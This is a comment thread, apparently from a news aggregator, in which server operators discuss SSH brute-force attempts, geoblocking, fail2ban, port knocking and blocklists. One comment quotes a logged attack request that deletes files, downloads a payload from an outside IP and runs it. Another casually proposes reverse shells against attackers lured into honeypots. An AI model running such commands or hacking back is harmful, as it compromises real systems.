Who's Attacking My Server?

https://bastian.rieck.me/blog/posts/2022/server/

212 225 4 years ago

bastian.rieck.me

zelon882• 4 years ago

Geo fence them. There is no ROI to providing value to Russia or their partners. They only serve as launchpads for cyber attacks and recon anyway. Chances are any organic Russian would be forbidden from directly viewing your page anyway, so it's literally all bots. Organic Russians come from proxys and VPNs.

Russia doesn't reciprocate knowledge or technology or philosophy or anything with value. Primary Russian digital exports are bullet proof hosting, botnet-for-hire services, and low quality malware. Click spam, domain squatting... it's basically the red light district of the internet.

Topolomancer13• 4 years ago

Good point; there used to be some issues with this since my dad is an interpreter for Russian, so we used to have some legitimate business there (probably not relevant, but his clients would essentially come to Europe to be trained in certain medical equipment)...but recent events might probably force early retirement for him.

Somewhat unrelated: I have noticed that SPAM from Russian servers stopped on Feb 23 right before the invasion; I wonder what that means.

mistrial9• 4 years ago

does anyone here recognize the difference between civilians and participants in armed conflict? medical in particular, right?

lmarcos• 4 years ago

Any documentation on how to do "geo fencing" without relying on third parties? Is it enough to have one big static list of ip addresses (or subnets)? How often does the list need to be updated?

zelon882• 4 years ago

I used to do this with a local copy of the IP2Location database [1]. This way you don't have to poll a third party. The caveat is you have to keep the database up to date.

https://www.ip2location.com/ [1]

uniqueuid2• 4 years ago

See my recommendation in the top level thread.

Spooky232• 4 years ago

It depends on what you’re doing and who the legit users are.

The downside of static lists is that AWS, Azure, etc frequently purchase IP spaces and realign them with US datacenters. Probably not an issue for blocking Russia or China, but if you want US only traffic, or North American traffic, you can run into problems.

chockchocschoir11• 4 years ago

You cannot know where a server is physically located, as even self-reported locations are incorrect (by accident and/or on purpose) and there is no such thing as non-3rd party data about physical location as servers as again, it's self-reported and any registry can say whatever they want in regards to where a server is located.

There are many different 3rd party sources for geo locating IP addresses, maybe MaxMinds is the most popular one. But if you acquire a few, you'll notice that sometimes even they don't agree where the location of a server is.

Skiiing2• 4 years ago

Cloudflare lets you block countries, ASNs and IP blocks.

superkuh• 4 years ago

Sure. But if you read the article you see the vast majority of the attacks and the most persistent ones seem to originate from China and Hong Kong.

duxup• 4 years ago

It’s pretty common to geofence China too in my experience, for the same reasons.

It seems like malicious traffic would be more agile come from everywhere, but if you block those two countries you filter a great deal of it.

hatware• 4 years ago

I thought that was so funny. The author even stated at the beginning that the Ukraine/Russia conflict was a reason for better security.

naoqj• 4 years ago

Organic Russians come from proxys and VPNs.

[citation needed] - I have Russian friends and they generally don't use proxies or VPNs.

justsomehnguy• 4 years ago

With a recent Instagram block I assume you will see much more ordinary people using VPNs.

jotm2• 4 years ago

I hate Russia right now, but geofencing is just... bad.

I've been geofenced and blocked my whole life, being from a small country no one gives a shit about. If not for the Internet, I'd likely be way more influenced by general media and be a pro-Russian usefu...less idiot. Because there would be no alternative, no way to learn and decide for myself.

So just my opinion, every person who can be influenced by western ideals (yes, I'm aware they're far from perfect) is worth it. Perhaps one of them can become someone of influence, either at home or as an immigrant.

Am I worth it? No. I don't add much to anything. But neither do the vast majority of Americans and Europeans. I'd just rather have a Russian/Chinese/Pakistani/Iranian/you name it as a friend than as an enemy.

If the price is learning proper configuration and/or a single core MIPS processor working overtime, I'd say it's worth it.

tptacek9• 4 years ago

Fail2ban is theater on a properly configured server --- and, increasingly since the mid 2010's, you've had to go out of your way to have a badly configured SSH server. Either way, it's something you have to add specifically to your server, so if you're going to do that, use the same energy to just make sure your server is configured properly. Yeah, yeah, I know it "keeps your logs clean". So does grep, though.

Topolomancer13• 4 years ago

Thanks, I was unaware of this---I initially (naively?) thought that being banned would at least deter some wannabe attackers. In your experience, does it do anything if I start collecting some reports on repeat offenders and notify their ISP? Or is that just more wishful thinking of my part?

tptacek9• 4 years ago

Absolutely nothing will be done about reports of people running SSH scanners against your host; it would be like Cnut on his seashore throne ruling the waves to recede: even in the unlikely event that a hosting provider shut someone off (we probably would, if you told us), they'd be followed by 10,000 more.

NavinF2• 4 years ago

Eh I’ve scanned the entire IPv4 space and tested default passwords over ssh from both AWS and my Comcast connection at home and never got banned from either one. I’m sure it can happen, but it’s no big deal.

The GP is right: If you use ed25519 keys, looking at logs and playing whack a mole with countries is just security theater for people who are new to the internet and get scared when their MOTD says “500 failed logins”.

cube005• 4 years ago

As an individual your reports will likely be ignored, however if you do want to report consider contributing to a service like AbuseIPDB. It probably doesn't do much either but at least it feels like I'm doing my part to report abuse and maybe some ISPs will choose to act on it.

taf2• 4 years ago

You should just not allow any IP to access your server to begin with… have a list of trusted IPs - this and only allow public / private key access with a second factor device and I think you should be good…

ufmace• 4 years ago

I don't think this idea is aligned with how these types of attacks actually work. The dumb stuff like this is almost entirely automated, nobody will notice enough to be deterred by it. Possibly whoever is running it will get a list of servers where the bruteforce login attempts worked, or maybe they just get some kind of low-effort thing like cryptominer or spam server installed automatically.

If an actual person of at least modest skill takes an interest in your server in particular, they're probably not going to do the sorts of things that would trigger fail2ban anyways. They're going to do things like probe around as lightly as possible to determine which services and which versions are running where to try and find things that are misconfigured or at known-vulnerable versions.

cm21873• 4 years ago

The problem is that you are also at the mercy of passwords selected by your users for smtp, imap, etc. So you still need some defence against brute force.

For administrative protocols (ssh, rdp, etc), I am a firm believer in IP whitelists, which give you the additional peace of mine of protecting you against future zero days, unless they affect the firewall.

fabian2k• 4 years ago

For SSH simply disallowing passwords entirely removes this problem. For me that's the one single thing that dramatically improves defense against any kind of brute force or untargeted attack.

lima2• 4 years ago

Nowadays, if you accept plain user-chosen passwords on SMTP or IMAP, you're already in trouble anyway. Often, the attacker doesn't even have to guess because your users likely re-used the same password across different services...

Spooky232• 4 years ago

I think a better solution now is something like Tailscale for anything administrative. I’ve been doing this for Minecraft servers for a year or two, and it eliminates a ton of BS.

pengaru• 4 years ago

I think a better solution now is something like Tailscale for anything administrative. I’ve been doing this for Minecraft servers for a year or two, and it eliminates a ton of BS.

All I'm hearing is that Tailscale is becoming an increasingly attractive bastion host to compromise, then use as a jump server to access heaps of poorly configured customer machines.

matja• 4 years ago

If fail2ban is theater, so is a firewall, so is SELinux, so are filesystem permissions (a properly configured process would only read/write the files it's supposed to, right?).

If an remote vuln needs some stack-smashing technique that has a low probability of success, fail2ban is going to to slow that down - perhaps in a way that makes it more obvious in logs, buying you time to discover your broken configuration or out of date software. Same way that a firewall buys you time to find that your database is listening on 0.0.0.0.

sk5t• 4 years ago

time to find that your database is listening on 0.0.0.0

I think that this would be the norm and desirable for databases serving clients other than the local host's. Plopping the database server onto a public network and allowing anyone at all to talk to it, on the other hand...

rascul• 4 years ago

I believe the implication is that a properly configured server isn't going to allow passwords, and fail2ban isn't much more than a log size reducer when passwords aren't allowed.

vngzs• 4 years ago

Indeed. The author could have spent 15 minutes setting up Tailscale [0] and not expose any listening administration ports to the Internet at all. If they wanted to avoid using a hosted service, Wireguard alone is incredibly defensive against attackers who do not have access to the secret material. Tailscale basically just adds some NAT traversal [1] and OIDC login wrappers.

[0] https://tailscale.com/

[1] https://tailscale.com/blog/how-nat-traversal-works/

chockchocschoir11• 4 years ago

Before complicating the setup even more (by adding more software), I'd opt to make sure I configure the software I already have before going down that route. Removing password login + changing the port would already remove any attack surface and make most scans not finding it at all. And if I'd still be annoyed by the amount of log items at that point, I'd add MAC/IP filtering at the firewall level before getting to the point of adding something like Tailscale.

Unless I had multiple users who'd need to login of course, but then Tailscale suddenly become a paid product, and I'd probably add another instance as a bastion host at that point.

I guess my point is: Make sure the software you already have is configured the right way before adding more software on top.

Topolomancer13• 4 years ago

Not sure I understand the point of Tailscale. The server should expose these ports to the internet...that's part of its purpose. Admittedly, I have never heard about Tailscale until now; it appears to solve a different kind of problem than the one I am interested in.

kortilla2• 4 years ago

You don’t add tailscale if you care about open source.

bhch2• 4 years ago

Fail2ban is theater on a properly configured server

How do you block scanner scripts making hundreds of requests to your http server attempting to find login pages and other "secret" urls?

I see a variety of weird requests made to my http server. A sample:

`GET /shell?cd+/tmp;rm+-rf+*;wget+209.141.59.94/jaws;sh+/tmp/jaws HTTP/1.1`

Fail2ban seems a decent solution for this. Unless, of course, there's a better solution perhaps?

tptacek9• 4 years ago

You don't, because there's no point.

yabones• 4 years ago

I have a separate log file for the default vhost that's not parsed by log aggregation tools. Most scanners just hit your IP rather than an actual hostname (unless your site is very popular and well-known), so most spam ends up there. That keeps your actual log file much cleaner.

https://docbot.onetwoseven.one/services/nginx/#the-go-away-v...

waihtis• 4 years ago

This request tries to find a shell env on your application and pull a script from 209… onto your machine, not related to auth but rather a hijack attempt of your server. Nowadays likely tries to run a cryptominer

clowd• 4 years ago

httpd is the one service I don't use fail2ban for, preferring a DIY solution instead.

I created an Apache config file with rewrite conditions to catch a bunch of "exploity" URI parts, abusive user-agent strings, referer spam targets, etc. This is loaded at the server level from httpd.conf, so I don't have to touch any vhosts and it's only parsed once when the service starts. Matching requests are rewritten to a script which drops the offender's IP and the ban reason into a file, and emits a terse "go away" message to the client. A separate daemonized process picks up those entries and adds them to an ipset in the firewall.

I went this route because fail2ban isn't always part of my deployment on a web server, but PHP is. Apache provides all of the matching capability to detect abuse from within itself, and the pair of PHP scripts are sufficient to act on those detections.

klausagnoletti7• 4 years ago

Fail2ban is decent indeed. But consider https://crowdsec.net/ instead if you want a tool that can detect pretty advanced L7 attacks, mitigate bad traffic using captcha and use crowd sourced threat intelligence to block bad guys in advance

plufz2• 4 years ago

hmm I reason sooner or later a scanner will find an xss/sql exploit/whatever? why give scanners free access to search endlessly for possible exploits when you can fail2ban? all servers have possible exploits if they expose a medium complex service. (if ssh is all you expose and you only allow keys, fine!)

anderspitman2• 4 years ago

I'm curious, is it common for scanners to look for vulnerabilities in bespoke servers, or do they usually look for known vulnerabilities in specific versions of popular servers like WordPress, Apache, etc?

worewood• 4 years ago

Is theater on a properly configured server. On an improperly configured server it's the difference between compromised or not. And there tons of improperly cfg'd servers out there. One more layer in the security onion doesn't hurt

ozim• 4 years ago

Unless there is RCE in Fail2Ban like CVE-2021-32749 which makes it actually worse.

Instead of lowering your attack surface you increase it by adding stuff.

lima2• 4 years ago

It also adds extra attack surface[1] and operational risk (of locking yourself out - seen this happen more than once) for no tangible benefit.

[1]: like https://www.cve.org/CVERecord?id=CVE-2012-5642

37ef_ced3• 4 years ago

Anecdotally, I run a several servers hosting several websites and several Android app back-ends.

Every few weeks they are attacked: 12 hours of attempted logins, port scanning, etc.

It's perfectly normal and nothing new.

nerdyadventurer• 4 years ago

What are best practices to secure back-end services, websites? Any good resources on the topic

cm21873• 4 years ago

I do a similar monitoring on my personal servers which shouldn’t be of interest to anyone really. Interestingly I don’t think I have ever seen anyone trying to login on any protocol using IPv6. Which is why it is most likely bots scanning the whole ipv4 address space rather than targeting those servers.

cube005• 4 years ago

I'm keen to see where this goes as we move to IPv6 only services. The claim now is IPv6 is too large to scan but maybe they're not bothering because most IPv6 servers also listen on IPv4.

Once they move to IPv6 only (after I need to sell my house to afford a single IPv4 address) it might be worth the extra scan time.

cm21873• 4 years ago

The extra scan time? You certainly can't possibly physically scan the whole 128bit address space. I am not even sure you can if you know which /48 prefixes have been assigned.

chockchocschoir11• 4 years ago

While IPv4 in it's entirely is trivial to scan (could do it in ~5 minutes more or less with the right hardware), usually you'd go for ranges to scan instead of the entire space, and IPv6 will still be feasible to scan for ranges, although they become larger.

uniqueuid2• 4 years ago

This is a good opportunity to recommend nft blackhole [1].

Automatically block countries by CIDR blocks and known bad actor IPs. Auto-updates these lists and adds them to your firewall.

It's a 5 minute install and maintenance free afterwards.

Not perfect, but reduces attack surface and log spam.

[1] https://github.com/tomasz-c/nft-blackhole

chockchocschoir11• 4 years ago

Looks not-so reliable. Either fetches a list of blocks from https://github.com/herrbischoff/country-ip-blocks which is a random GitHub repository that collects "straight from the Regional Internet Registries" without any stating any sources nor method for gathering it (which also, I'm assuming, is self-reported data from those registries), or it fetches it from https://www.ipdeny.com/ which currently runs with an expired TLS certificate, which on top of everything, nft-blackhole ignores any issues with certificates anyways, leaving it wide open to MITM attacks (https://github.com/tomasz-c/nft-blackhole/blob/8a656ac0a803a...)

I wouldn't run that if I'd want something to reliably block someone from a specific country.

Not perfect, but reduces attack surface and log spam.

You know what also does that? Setting up sshd properly in the first place.

throwmeariver1• 4 years ago

Calling the repository of Marcel Bischoff a random GitHub repository. LOL

klausagnoletti7• 4 years ago

How about using a tool like https://crowdsec.net/ that collects (basic, anonymious) information from users on the attacks they see, vets it and shares it back to all users via blocklists? Currently around 800k signals are collected and there's around 19k vetted bad ips in the blocklist. Sounds more reliable to me.

ValtteriL• 4 years ago

"I am wondering whether it would be legal to try to automatically check for known exploits, in order to ‘p0wn’ the wannabe-attacker and disable their system instead."

Absolutely illegal. Don't do that.

Also, if your setup is enough at controlling the nuisance, why bother?

Good work though, liked the visualization of attacker IP locations!

Have you considered running at least SSH on nonstandard port?

ganzuul2• 4 years ago

What about hold your ground laws, or self defense? It may be time to consider these.

LinuxBender3• 4 years ago

Those are generally for humans defending themselves in life threatening situations. I would suggest talking to a lawyer if you are going this route.

ohyeshedid• 4 years ago

While ignoring the operators/carriers in between you and your target?

Topolomancer13• 4 years ago

Thanks!

I was debating the nonstandard port, but I left it like this to simplify connections for my users. If the traffic starts to continue like this, I might be forced to switch, though.

logifail2• 4 years ago

"failed login attempts"

At least with SSH, once you move to only using key-based authentication, don't you simply stop worrying about weak passwords and failed logins?

You can then focus on keeping up to date with security patches, which is at least as important, but takes far less time.

cube005• 4 years ago

It's still noise in the log you can do without if you really want to know what's going on with your system. For me I firewall ssh to only accept from known IPs. Worst case if I have to expand that list I'll login via the VPS provider's console to do that.

logifail2• 4 years ago

Hmm, there's noise, and there's noise.

If you know that password auth is disabled, don't you just grep out all the disconnected/preauth and 'invalid user' lines before you even look at (or process) auth.log?

On a box where password auth is enabled, you can't be sure what's signal and what's noise.

vdfs• 4 years ago

Also changing the default port. weird these two simple options are not used. They won't stop those automated attempts from appearing in your logs, but will greatly decrease them

cplex• 4 years ago

Also with https://www.greynoise.io/ api you can determine if these IPs are scanning the internet or targeting you specifically.

Pseudomanifold• 4 years ago

Wow, did not know that this existed. Thanks so much!

klausagnoletti7• 4 years ago

Same thing is possible using https://app.crowdsec.net/ (just create a free user account and use the search feature) - and if you install the accompanying agent, those bad actors already known will be blocked automatically (just as those that attack you will be shared to all other users). This is collaboration that makes sense!

Terry_Roll• 4 years ago

Who's Attacking My Server?

Probably the security services and some useful idiots who fall for the propaganda pumped out through the media.

Its divide and conquer, been going on since the The Holy Roman Empire, and it doesnt take much to hack switches or have agents in foreign countries so the geolocating attacks is worthless, its just something to mess with your mind.

Its keeps people busy though as you have found out!

mimimi31• 4 years ago

I once made a very similar visualization to see where people were trying to attack my servers from by adapting (e.g. use local geoip database file instead of ipinfo service) the Python script from [1], which uses folium to generate an interactive (standalone HTML file) heatmap of IP address locations.

[1] https://github.com/meesaltena/SSHHeatmap

Topolomancer13• 4 years ago

That looks gorgeous, thanks for sharing it!

heap_perms• 4 years ago

That's a wonderful project. Amazing, this can be done with just over a hundred lines of code. (excluding packages)

snek_case• 4 years ago

I'm curious what would happen if someone set up a sandbox and let the attackers in. As in curious what commands they would run and what services they would try to install. I'm guessing crypto mining or spam mail?

dspillett• 4 years ago

The problem with a honey trap like that is that the uninteresting events are uninteresting (as you suggest, installing a mail relay, miner, or both, and likely a copy of itself for further spreading), but the interesting ones are unlikely to be fooled unless the honeypot is very clever.

To see anything really interesting you possibly need to let it get far enough that with a good zero-day intend in-hand it may be able to break out and affect the host. I don't know about you, but I don't trust myself to be that clever!

DethNinja• 4 years ago

Change the default ssh port. Most of the attacks are from automated crawlers that try to brute force port 22. Your logs will become much more manageable.

daneel_w• 4 years ago

I do the same. There's no need at all for my own system's sshd to adhere to any notion of well known ports. Despite the growing availability of pre-mapped host information I can still count the amount of illicit login attempts the past 10 years on two hands.

speedgoose• 4 years ago

I put SSH on another port and only allow a list of ip ranges on the firewall. I don’t see the point of even allowing Russia and China to fill my logs.

Sami_Lehtinen• 4 years ago

My servers currently ban in average 1200 individual addresses and around 20 /24 cidr network addresses, which is triggered after N individual addresses in a specific subnet size gets flagged. The amount of abuse traffic is ridiculous.

fuzzy24• 4 years ago

I just ban China entirely from accessing my server. There's nothing on it a Chinese person could be interested in, just personal stuff and a private forum. Doing so has tremendously reduced the overall (remaining) abuse traffic volume.

It's quite easy and efficient to do this using IPSet. IP ranges associated with China are available on the net.

chockchocschoir11• 4 years ago

Before going about a blocking potential people who are in fact interested in your content/service (which you can't know if they are or not based on the country), did you do the bare minimum to secure your server against attackers from any other location, namely changed from the default password and disabled password login?

Your approach to security has a number of issues. First, you don't know if someone is actually interested in your thing or not based on the location. They could be visiting China, could still be able to speak English or any other reason. Secondly, the mapping of Location <> IP Address is not as guaranteed as you seem to think. Plenty of IPs get flagged as Chinese while not being in China, and vice-versa is true as well. Just because some 3rd party says a host/client is in a specific location doesn't make that true.

Edit: Seems the commentator I replied to now have added "just personal stuff and a private forum" to their comment which was not there before, so most of my point is moot now, as I assumed at least semi-public content/service, not private.

criddell3• 4 years ago

I don't think it matters if the geo-location table is correct or not. If traffic from an IP range is entirely malicious, block that IP range. If that range happens to be Chinese or from Florida it doesn't really matter, does it?

fuzzy24• 4 years ago

Yes, the server is of course properly secured. There was something that made me do this in the past, but I don't remember. Never had any problems with it whatsoever.

I do know, because my services (except the forum) are for me exclusively. On the forum, I know everyone. None of the members live in China, have relatives in China or travel to China. If they cannot access the forum, they can contact me in another way.

michaelcampbell2• 4 years ago

I DO run a "public" service, in that it provides some info to people. However I run it at totally my own cost, the information is for entertainment value only (and not in the "I just say that to get around this being horrible in some way"; it's literally information about gaming and games), and I just don't need the hassle of the constant hack attempts. I block China and Russia, and have for years, using publicly available IP ranges.

Yes, I know it's not going to get just China and Russia. Yes I know I'm blocking false positives. Yes I know I'm allowing false negatives.

And honestly, I couldn't care less. It's my service, my information, my time, and my money, and I don't feel the least bit bad nor swayed by some appeal to morality or fairness.

Your approach to security has a number of issues.

Your examples are a bit of non-sequitur. If I OVERBAN, I'm not decreasing my security. The non-(Chinese hacker) visitor in China can't get in, that's not a security issue. IP's being flagged as Chinese not being in China... can't get in also not a security issue. Vice versa is a bit of a security issue, with which the second layer of my security onion deals.

dylan604• 4 years ago

I assumed at least semi-public content/service, not private.

Um, they posted information on a public website. It's not private. Even if the site is owned by them, it is publicly available, of their own accord.

IncRnd• 4 years ago

Not the GP, but every web server I've ever run has had IP addresses originating from China at the top of the frequency list for nefarious attempts to compromise the security. If someone is temporarily visiting China and wants to visit one of my websites, they can wait until they return. I've not removing my blocks on IP addresses.

Topolomancer13• 4 years ago

Not an option for me, but thanks for the suggestion. I don't want to erect a geo-fence here.

dym_sh• 4 years ago

chinese goverment already did that for you. anyone who really needs to access you site from inside china will use vpn or tor.

temp8964• 4 years ago

And also legitimate Chinese visitors will use VPN to access foreign websites anyway. Because of the GreatFirewall, a Chinese person must use a VPN to reliably visit foreign websites.

qwertox• 4 years ago

I do the same, but my issue is with rented servers on AWS, Digital Ocean and the like. There's no way of knowing who owns a rented IP address, the WHOIS record just outputs "US", which is meaningles.

I think there's an need for forcing service providers to group IP blocks by the nationality of who rents them.

Just to be clear, this is in the context of my private servers which host my mailserver as well as my personal website which is not meant for public consumption, but which I need to be publicly available.

fuzzy24• 4 years ago

I think there's an need for forcing service providers to group IP blocks by the nationality of who rents them.

But what would that accomplish? Unlike rogue ISPs in other countries, big cloud providers have abuse reporting that actually works.

Or just block all of them outright if they do not need to access your services.

jcynix2• 4 years ago

I think there's an need for forcing service providers to group IP blocks by the nationality of who rents them.

Would neither help nor work, as there's TOR and VPNs to access your servers from anywhere in the wirld.

reaperducer• 4 years ago

IP ranges associated with China are available on the net.

Didn't help me all that much.

Most of the abuse and spam leveled at the servers I manage come through $5 DigitalOcean servers being used as relays.

It's the same thing that ruined voice telephony: Make the connection so cheap that it can be abused at scale.

Spivak• 4 years ago

I mean just block VPC ranges then. They’re public, and lots of sites already do it. I would bet you don’t expect and traffic originating from rented servers.

jotm2• 4 years ago

That's kinda against the spirit of the Internet, well, what it should be IMO.

But I do also ban, only temporarily. I found that a lot of IPs just stop reappearing/retrying, likely because they blacklist my IP and move on.

walrus012• 4 years ago

this seems to presume that malicious things originating in china scanning/probing other peoples' IP ranges don't use proxies or rented VMs, or relay compromised hosts almost anywhere in the world, etc. all that banning chinese /16 or /12 size netblocks will do is cut down on the clutter in your logs, not actually accomplish anything.

getting scanned and probed by peoples' automated tools looking for vulnerabel daemon RCEs has been a log clutter issue for about 25 years or more now. it's part of the background noise of the internet. ever since the days of having your http daemon logs cluttered up with GET DEFAULT.IDA stuff and similar in 2001.

https://www.google.com/search?client=firefox-b-1-d&q=get+def...

put more effort into ensuring that public facing daemons are totally up to date and hardened against external compromise. Or better yet don't have them public facing at all, if you can admin your server via an ssh daemon that only listens on a logical vpn interface or some sort of OOB interface.

holoduke• 4 years ago

Totally agree. Sometimes I watch my live logs of auth.log of about 100 public servers. I am probably see 10 port scans or ssh attempts per second from random machines. Nothing to worry about if machines setup correctly. More worrying are the people who try to break our public APIs. Either by letting it to crash, brute force operations etc. The security flaws are often inside the software domain layer.

mrjin3• 4 years ago

IPs on the log files most likely are exit proxies if those attackers were not rookies. Simply change the SSH port only would deter 90% of those attempts per my personal experience.

rdtsc• 4 years ago

I did the same thing - blocked China, then moved the SSH login to another port. It cut down some log noise which was good enough for us.

teleforce• 4 years ago

Please check this very interesting real-time Live Threat Map by Radware [1].

Most of these attacks are harmless and the attacks that you should be worried is the Advanced Persistent Threat (APT) types [2].

Around eight years back I've proposed a system for crowdsourcing in covertly detecting APT similar to the minefields concept being used in war and I still think it's the best way to reliably detect APT including zero-day attacks.

Few months back in HN someone proposed an open source solution for crowdsourcing firewall, IDS and IPS but cannot get the link for now on top of my head at the moment.

[1] Live Threat Map:

https://livethreatmap.radware.com/

[2] Advanced Persistent Trap:

https://en.wikipedia.org/wiki/Advanced_persistent_threat

unixhero• 4 years ago

There is also crowdsec that promises fail2ban functionality from a crowdsourced data feed.

https://crowdsec.net/

tiku• 4 years ago

I'm still thinking about adding some Chinese forbidden texts to my headers to block them using their own firewall. Recently Russian IPS started to attack me as well, so perhaps adding something about the war would help block them as well? Any ideas from you guys?

belter• 4 years ago

https://en.wikipedia.org/wiki/Winnie-the-Pooh

butz• 4 years ago

I'd assume that most attacks are coming not from attackers directly, but from some sort of hacked devices in some other country, either webcam with root access or similar, maybe even proxy servers. Would be interesting to match malicious IP addresses with ones indexed by shodan to test this theory.

hutch120• 4 years ago

I see these articles a lot, and always wonder why people go it alone. Can anyone link to a discussion about a distributed community run firewall? Does such a thing exist? If so, please comment.

wila• 4 years ago

Don't know about "community run firewall", but if you have a few hosts then you can run CSF/LFD in a cluster config.

See for example: https://www.nixtree.com/blog/csf-cluster-setup-for-hosting-c...

klausagnoletti7• 4 years ago

I don't know exaxtly what you mean by a distributed community run firewall but https://crowdsec.net/ collects information (anonymously) on the attacks users see and shares it with all other users after vetting them. So in this way the community helps itself (or each other, if you will). Currently around 800k signals are collected daily and around 19k ips are shared back to users as blocklists.

YATA02• 4 years ago

Port knocking, Wireguard, never look back.

You can set an alert for every failed SSH connection because if someone is able to get through that, it's alarming.

This setup has the side effect of reducing your log noise to zero. That SNR is super important for intrusion detection.

elesiuta• 4 years ago

I found just using a different port was enough for me and didn't need port knocking to reduce log noise, which I agree is super important.

I also have alerts for both failed SSH or failed wireguard connections, and for any logins from a new IP with either SSH or wireguard.

pseudostem2• 4 years ago

The folks at OpenBSD Misc do not recommend port knocking. IIRC one of the reasons stated was a possibility of getting locked out of your own server. I tried looking up the relevant thread, but am on the phone.

octoberfranklin• 4 years ago

Linux's firewall can do port knocking entirely in the kernel:

https://wiki.nftables.org/wiki-nftables/index.php/Port_knock...

That script gets compiled into BPF and uploaded into the kernel once, at boot/ifup time. All the memory is preallocated.

Userspace can be dead/hung/OOM and you can be sure that at least the port knocking won't be why you got locked out.

orev• 4 years ago

An upgrade to port knocking is Single Packet Authorization [1]. It doesn’t suffer from the observability, and other, problems of port knocking.

[1] https://www.cipherdyne.org/fwknop/

YATA02• 4 years ago

Is there any other kind? SPA is the only port knocking I use!

zaik2• 4 years ago

It's also worth noting that if an attacker knows how to spoof your IP address, they can lock you out of your own server.

jhgg• 4 years ago

Yeah? You can't really spoof TCP connections... unless you are talking about doing a BGP hijack. Can you elaborate more on this?

zaik2• 4 years ago

It's just something I read here: https://wiki.archlinux.org/title/Fail2ban#Tips_and_tricks

Maybe we can spoof both SYN and ACK and brute force/be lucky with the sequence numbers?

amelius• 4 years ago

As a machine learning researcher, I know that I have different tools at my disposal: I could monitor connections over a prolonged period of time, categorise them as hostile or not, and train a transformer to detect hostile connections in real time. All this would take is a long time for data collection and labelling, followed by a lot of GPU hours.

It's not so simple. You typically need balanced data, which is difficult to obtain since the attacks don't happen very often (hopefully). This is also why anomaly detection is so difficult.

prima-facie2• 4 years ago

I used SSHGuard in the past which can actually cover a lot more services than just SSH. I imagine this sort of daemon is useful when you have external customers. It also has a touchy behaviour which gradually increases the timeout until it permanently locks out misbehaving clients.

Nowadays I just use WireGuard to access my own LAN. But this doesn't scale as well if you need to constantly add and remove clients from the network.

For Nginx most bogus requests come directly on the public IP. So you can set up a dummy/catch-all vhost which drops those. https://pastebin.com/MuWgyGGG

klausagnoletti7• 4 years ago

https://crowdsec.net/ can also do something like that, only more advanced in the attacks it detects and because it's sharing bad ips from users to everyone else. I love that users in this way are watching each other's back.

prima-facie2• 4 years ago

Nice tool, thanks.

jakedata• 4 years ago

I use fail2ban on a server that is listening on a non-standard port.

I monitor the bans on a daily basis. The IPs come from all over the world but when China shut down from Covid the login attempts just _stopped_. Like, the silence was deafening, like I thought the server was compromised and logging disabled.

It was spooky as hell, but as things came back to something resembling normal, the background radiation started picking up again and I am back to 60-80 bans per day. I have a hell of a list of compromised IPs now.

alyandon• 4 years ago

I do something similar with firehol lists and iptables/ipfw scripts and it cut my auth log spam down to almost nothing - single digit auth attempts per day per server now usually. My first pass of blocking .cn network space on its own cut my log spam by probably 90% (thousands of attempts per day down to dozens).

kazinator• 4 years ago

As a machine learning researcher, I know that I have different tools at my disposal:

[...]

  awk '($(NF-1) = /Ban/){print $NF}' /tmp/fail2ban.log \
  | sort                                             \
  | jdresolve -                                      \
  | uniq -c                                          \
  | sort -n -r                                       \
  | sed -e 's/^[ \t]*//'                             \
  | sed -e 's/ /\t/'                                 \
  | head -n 100

Topolomancer13• 4 years ago

That's the joke :)

thg• 4 years ago

I'm surprised nobody has mentioned ssh-audit yet, so here it is: https://pypi.org/project/ssh-audit/

It's useful for helping in hardening the SSH configuration and there is also a web version here: https://www.ssh-audit.com/

xyst• 4 years ago

I am surprised more people don't have honeypot servers. Would be very easy to lure in unsuspecting victims, open up a reverse shell, drop a payload, and extract any assets.

winternett• 4 years ago

I've even had my search logs attacked by bots submitting spam search terms multiple times in hopes that I run a "popular search terms" page... Thank goodness I don't allow public comments, it seems like the ability to comment on things may be totally gone by 2024 unless we don't address the specific places the spam is really coming from and why instead of just hardening our own local security.

Who's Attacking My Server?

Related Stories